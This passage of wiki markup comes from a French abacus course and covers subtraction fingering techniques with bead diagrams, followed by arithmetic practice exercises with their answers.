/>[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] |----- | align="center" | Début || &nbsp; || &nbsp; | &nbsp; || align="center" | Fin |} </center> Exercices : calculez les autres cas. === Technique 3 - Doigté : désactiver des unaires avec l'index, puis une quinaire avec l'index === Cette technique s'applique pour ôter 6, 7, 8, 9 lorsque la quinaire est activée ainsi qu'un nombre suffisant de unaires, c'est-à-dire dans les cas suivants : <br />6-6 ; <br />7-6 ; 7-7 ; <br />8-6 ; 8-7 ; 8-8 ; <br />9-6 ; 9-7 ; 9-8 ; 9-9 Exemple : 8-7=1 (équivaut à 8-(2+5)) <center> {| cols="7" cellspacing="0" cellpadding="0" |----- | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] |----- | align="center" | Début || &nbsp; || &nbsp; | &nbsp; || &nbsp; || &nbsp; || align="center" | Fin |} </center> Exercices : calculez les autres cas. === Technique 4 - Doigté : activer des unaires avec le pouce, puis désactiver une quinaire avec l'index === <i>Note : on peut aussi utiliser le doigté suivant (qui demande un peu plus de pratique) : activer les unaires et désactiver simultanément la quinaire.</i> Cette technique s'applique pour ôter 1, 2, 3, ou 4 alors que la quinaire est activée mais que le nombre d'unaires activées est insuffisant, on prend alors le complément à 5, ce qui correspond aux cas suivants : <br />5-1 ; 5-2 ; 5-3 ; 5-4 ; <br />6-2 ; 6-3 ; 6-4 ; <br />7-3 ; 7-4 ; <br />8-4 Exemple : 7-3=4 (équivaut à 7-(5-2)=7-5+2) <center> {| cols="7" cellspacing="0" cellpadding="0" |----- | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]] | width="15"% | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]] |----- | align="center" | Début || &nbsp; || &nbsp; | &nbsp; || &nbsp; || &nbsp; || align="center" | Fin |} </center> Exercices : calculez les autres cas. === Technique 5 - Doigté : désactiver une décadaire avec l'index, puis activer des unaires avec le pouce === Cette technique s'applique pour ôter 6, 7, 8, 9 lorsque le nombre d'unaires activées est insuffisant, on prend alors le complément à 10, ce qui correspond aux cas suivants : <br />10-6 ; 10-7 ; 10-8 ; 10-9 ; <br />11-7 ; 11-8 ; 11-9 ; <br />12-8 ; 12-9 ; <br />13-9 ; <br />15-6 ; 15-7 ; 15-8 ; 15-9 ; <br />16-7 ; 16-8 ; 16-9 ; <br />17-8 ; 17-9 ; <br />18-9 Exemple : 11-7=4 (équivaut à 11-(10-3)=11-10+3) <center> {| cols="11" cellspacing="0" cellpadding="0" |----- | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]] |----- | align="center" colspan="2" | Début || &nbsp; | &nbsp; || &nbsp; || &nbsp; || &nbsp; | &nbsp; || &nbsp; || align="center" colspan="2" | Fin |} </center> Exercices : calculez les autres cas. === Technique 6 - Doigté : désactiver une décadaire avec l'index, puis activer une quinaire avec l'index === Cette technique s'applique pour ôter 5 si la quinaire n'est pas activée, c'est-à-dire dans les cas suivants : <br />10-5 ; <br />11-5 ; <br />12-5 ; <br />13-5 ; <br />14-5 Exemple : 13-5=8 (équivaut à 13-(10-5)=13-10+5) <center> {| cols="11" cellspacing="0" cellpadding="0" |----- | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] |----- | align="center" colspan="2" | Début || &nbsp; | &nbsp; || &nbsp; || &nbsp; || &nbsp; | &nbsp; || &nbsp; || align="center" colspan="2" | Fin |} </center> Exercices : calculez les autres cas. === Technique 7 - Doigté : désactiver une décadaire avec l'index, puis activer simultanément une quinaire avec l'index et des unaires avec le pouce === Cette technique s'applique pour ôter 1, 2, 3, 4 quand le nombre de unaires activées est insuffisant et que la quinaire est désactivée, c'est-à-dire dans les cas suivants : <br />10-1 ; 10-2 ; 10-3 ; 10-4 ; <br />11-2 ; 11-3 ; 11-4 ; <br />12-3 ; 12-4 ; <br />13-4 Exemple : 11-3=8 (équivaut à 11-(10-7) ou 11-(10-(5+2))=11-10+5+2) <center> {| cols="11" cellspacing="0" cellpadding="0" |----- | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] |----- | align="center" colspan="2" | Début || &nbsp; | &nbsp; || &nbsp; || &nbsp; || &nbsp; | &nbsp; || &nbsp; || align="center" colspan="2" | Fin |} </center> Exercices : calculez les autres cas. === Technique 8 - Doigté : désactiver une décadaire avec l'index, activer une quinaire avec l'index puis désactiver des unaires avec l'index === Cette technique s'applique pour ôter 6, 7, 8, 9 quand le nombre de unaires activées est suffisant mais que la quinaire est désactivée, c'est-à-dire dans les cas suivants : <br />11-6 ; <br />12-6 ; 12-7 ; <br />13-6 ; 13-7 ; 13-8 ; <br />14-6 ; 14-7 ; 14-8 ; 14-9 Exemple : 13-7=6 (équivaut à 13-(10-3) ou 13-(10-(5-2))=13-10+5-2) <center> {| cols="14" cellspacing="0" cellpadding="0" |----- | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] |----- | align="center" colspan="2" | Début || &nbsp; | &nbsp; || &nbsp; || &nbsp; || &nbsp; | &nbsp; || &nbsp; || &nbsp; | &nbsp; || &nbsp; || align="center" colspan="2" | Fin |} </center> Exercices : calculez les autres cas. == Soustraction à plusieurs chiffres == Elle s'opère comme plusieurs soustractions à un chiffre. On peut commencer indifféremment par les poids forts ou les poids faibles. Exemple : 578-193 <center> {| cols="11" cellspacing="0" cellpadding="0" |----- | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="20"% | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="20"% | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="20"% | &nbsp; |----- | colspan="3" align="center" | Départ || &nbsp; | colspan="3" align="center" | 5-1 : technique 4 - étape 1 (+4u) | &nbsp; | colspan="3" align="center" | 5-1 : technique 4 - étape 2 (-q) |----- | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] |----- | colspan="3" align="center" | 17-9 : technique 5 - étape 1 (-d) | &nbsp; | colspan="3" align="center" | 17-9 : technique 5 - étape 2 (+u) | &nbsp; | colspan="3" align="center" | 8-3 : technique 1 - étape 1 (-u) |----- | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | &nbsp; || &nbsp; || &nbsp; || &nbsp; || &nbsp; | &nbsp; || &nbsp; || &nbsp; |----- | colspan="3" align="center" | Fin || &nbsp; | colspan="3" align="center" | &nbsp; | &nbsp; || colspan="3" align="center" | &nbsp; |} </center> == Exercices == Voici quelques exercices (les résultats sont indiqués pour vous éviter de les calculer avec une machine ou un bout de papier pour vérification) : {| width="100%" cols="5" |----- | align="right" | 376 || align="right" | 5123 | align="right" | 5423 | align="right" | 12509 || align="right" | 15326 |----- | align="right" | - 96 || align="right" | - 152 | align="right" | - 2456 | align="right" | - 5637 || align="right" | - 9560 |----- | align="right" | - 53 || align="right" | - 85 | align="right" | - 853 | align="right" | - 523 || align="right" | - 2356 |----- | align="right" | - 12 || align="right" | - 32 | align="right" | - 95 | align="right" | - 4398 || align="right" | - 1284 |----- | align="right" | - 76 || align="right" | - 2145 | align="right" | - 1265 | align="right" | - 995 || align="right" | - 1901 |----- | align="right" | <b>= 139</b> || align="right" | <b>= 2709</b> | align="right" | <b>= 754</b> | align="right" | <b>= 956</b> || align="right" | <b>= 225</b> |} D'autres exercices vous seront proposés dans la [[S'initier au boulier en 10 leçons - Leçon 4|leçon 4]]. S'initier au boulier en 10 leçons - Leçon 4 105 38904 2006-03-27T12:36:38Z 212.234.218.193 /* Additions seules */ {{Boulier}} ''' Leçon 4 - Exercices''' <BR/> <BR/> Avant de passer aux multiplications et divisions, il est nécessaire de maîtriser les techniques d'addition et de soustractions. Cette leçon contient pour cela uniquement des exercices. Il est en effet important de pratiquer pour assimiler les leçons précédentes avant de passer aux techniques plus compliquées abordées dans les leçons suivantes. Un maximum de pratique permet de plus de transformer en automatismes les techniques de bases du boulier et donc de l'utiliser de plus en plus aisément et rapidement. D'ailleurs, seule la pratique permet réellement d'apprendre le boulier. Dans les différentes leçons, quelques exercices sont proposés mais ils sont loin d'être suffisants. Aussi vous ne devez pas hésitez à réaliser vos propres calculs. En attendant, les exercices de cette leçon peuvent constituer un bon départ. <BR/> <BR/><BR/><BR/><BR/> == Additions seules == {| cols="10" width="100%" border="0" |----- | align="right" | 164 || align="right" | 478 | align="right" | 983 | align="right" | 476 || align="right" | 1468 | align="right" | 2211 | align="right" | 2753 || align="right" | 6182 | align="right" | 6966 || align="right" | 8532 |----- | align="right" | + 83 || align="right" | + 324 | align="right" | + 1521 | align="right" | + 923 || align="right" | + 5148 | align="right" | + 3696 | align="right" | + 1219 || align="right" | + 2052 | align="right" | + 9855 || align="right" | + 3737 |----- | align="right" | + 430 || align="right" | + 780 | align="right" | + 730 | align="right" | + 2327 || align="right" | + 4059 | align="right" | + 80 | align="right" | + 527 || align="right" | + 9847 | align="right" | + 6327 || align="right" | + 5974 |----- | align="right" | + 56 || align="right" | + 903 | align="right" | + 2349 | align="right" | + 50 || align="right" | + 7339 | align="right" | + 9352 | align="right" | + 7225 || align="right" | + 7246 | align="right" | + 3124 || align="right" | + 6064 |----- | align="right" | + 13 || align="right" | + 76 | align="right" | + 527 | align="right" | + 7802 || align="right" | + 441 | align="right" | + 1082 | align="right" | + 127 || align="right" | + 3019 | align="right" | + 859 || align="right" | + 773 |----- | align="right" | + 107 || align="right" | + 818 | align="right" | + 982 | align="right" | + 470 || align="right" | + 3395 | align="right" | + 64 | align="right" | + 4212 || align="right" | + 2494 | align="right" | + 9972 || align="right" | + 171 |----- | align="right" | + 49 || align="right" | + 52 | align="right" | + 1528 | align="right" | + 3026 || align="right" | + 9955 | align="right" | + 5491 | align="right" | + 3078 || align="right" | + 9462 | align="right" | + 1982 || align="right" | + 126 |----- | align="right" | + 951 || align="right" | + 429 | align="right" | + 792 | align="right" | + 529 || align="right" | + 2005 | align="right" | + 8556 | align="right" | + 9723 || align="right" | + 9253 | align="right" | + 3985 || align="right" | + 6961 |----- | align="right" | + 61 || align="right" | + 83 | align="right" | + 1051 | align="right" | + 47 || align="right" | + 7981 | align="right" | + 9771 | align="right" | + 290 || align="right" | + 429 | align="right" | + 1172 || align="right" | + 7012 |----- | align="right" | + 48 || align="right" | + 651 | align="right" | + 772 | align="right" | + 1572 || align="right" | + 9520 | align="right" | + 2784 | align="right" | + 8379 || align="right" | + 1140 | align="right" | + 2405 || align="right" | + 8823 |----- | <hr> || <hr> || <hr> || <hr> || <hr> | <hr> || <hr> || <hr> || <hr> || <hr> |----- | align="right" | <b>= 1962</b> || align="right" | <b>= 4594</b> | align="right" | <b>= 11235</b> | align="right" | <b>= 17222</b> || align="right" | <b>= 51311</b> | align="right" | <b>= 43087</b> | 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| - 108 |----- | align="right" | - 243 || align="right" | - 204 | align="right" | - 501 | align="right" | - 254 || align="right" | - 337 | align="right" | - 107 | align="right" | - 101 || align="right" | - 816 | align="right" | - 1368 || align="right" | - 1033 |----- | align="right" | - 880 || align="right" | - 134 | align="right" | - 847 | align="right" | - 1143 || align="right" | - 661 | align="right" | - 1053 | align="right" | - 482 || align="right" | - 578 | align="right" | - 744 || align="right" | - 1349 |----- | align="right" | - 194 || align="right" | - 84 | align="right" | - 589 | align="right" | - 187 || align="right" | - 215 | align="right" | - 495 | align="right" | - 248 || align="right" | - 1405 | align="right" | - 19 || align="right" | - 362 |----- | align="right" | - 106 || align="right" | - 199 | align="right" | - 198 | align="right" | - 376 || align="right" | - 122 | align="right" | - 298 | align="right" | - 139 || align="right" | - 80 | align="right" | - 17 || align="right" | - 1018 |----- | align="right" | - 268 || align="right" | - 291 | align="right" | - 1050 | align="right" | - 1153 || align="right" | - 1061 | align="right" | - 350 | align="right" | - 160 || align="right" | - 900 | align="right" | - 1 || align="right" | - 258 |----- | align="right" | - 114 || align="right" | - 5 | align="right" | - 191 | align="right" | - 247 || align="right" | - 405 | align="right" | - 794 | align="right" | - 1152 || align="right" | - 1215 | align="right" | - 3 || align="right" | - 120 |----- | align="right" | - 107 || align="right" | - 968 | align="right" | - 104 | align="right" | - 976 || align="right" | - 829 | align="right" | - 90 | align="right" | - 136 || align="right" | - 886 | align="right" | - 4 || align="right" | - 848 |----- | align="right" | - 109 || align="right" | - 847 | align="right" | - 1034 | align="right" | - 439 || align="right" | - 728 | align="right" | - 153 | align="right" | - 335 || align="right" | - 22 | align="right" | - 1 || align="right" | - 870 |----- | <hr> || <hr> || <hr> || <hr> || <hr> | <hr> || <hr> || <hr> || <hr> || <hr> |----- | align="right" | <b>= 73</b> || align="right" | <b>= 1472</b> | align="right" | <b>= 2124</b> | align="right" | <b>= 